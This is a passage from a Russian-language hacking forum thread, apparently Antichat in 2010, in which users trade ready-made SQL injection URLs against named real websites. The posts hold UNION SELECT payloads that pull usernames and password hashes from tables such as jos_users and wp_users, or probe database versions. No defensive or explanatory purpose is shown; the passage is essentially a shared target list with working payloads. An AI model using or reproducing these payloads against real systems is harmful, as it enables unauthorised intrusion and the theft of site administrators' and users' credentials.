http://www.sugartree.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://www.swannysurfclub.org.au/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
 
Ответить с цитированием

  #11579  
Старый 13.03.2010, 18:37
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Цитата:
http://www.shansplus.com.ua/index.php?id=104+union+select+concat_ws(0x3a,g_id, g_userName,g_fullName,g_hashedPassword,g_email,g_l anguage,g_locked)+from+g2_User--+
Цитата:
http://www.koshkin-dom.ru/story.php?cid=5&lang=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,version(),1 3,14,15,16,17,18,19,20,21,22,23,24--+
..

Последний раз редактировалось Strilo4ka; 14.03.2010 в 03:57.. Причина: граматика
 
Ответить с цитированием

  #11580  
Старый 13.03.2010, 21:11
Аватар для SENIA
SENIA
Постоянный
Регистрация: 22.11.2008
Сообщений: 344
Провел на форуме:
3863128

Репутация: 570
Отправить сообщение для SENIA с помощью ICQ
По умолчанию

Код:
http://www.datacd.ru/faq.php?id=-2+union+select+1,concat_ws(0x3a,username,password) ,3+from+main.usersadmin--
Код:
http://www.ecom-info.spb.ru/indicators/print.php?id=-428+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),%2015,16,17,18,19,20,21,22,23,24,25,26--
Код:
http://www.fondsk.ru/print.php?id=-2171+union+select+1,2,3,4,5,version(),7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30--
Код:
http://dom-garazh.ru/base.php?id=-17+union+select+1,2,3,concat_ws(0x3a,user_login,user_pass)+from+girldays_allneft.wp_users--
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ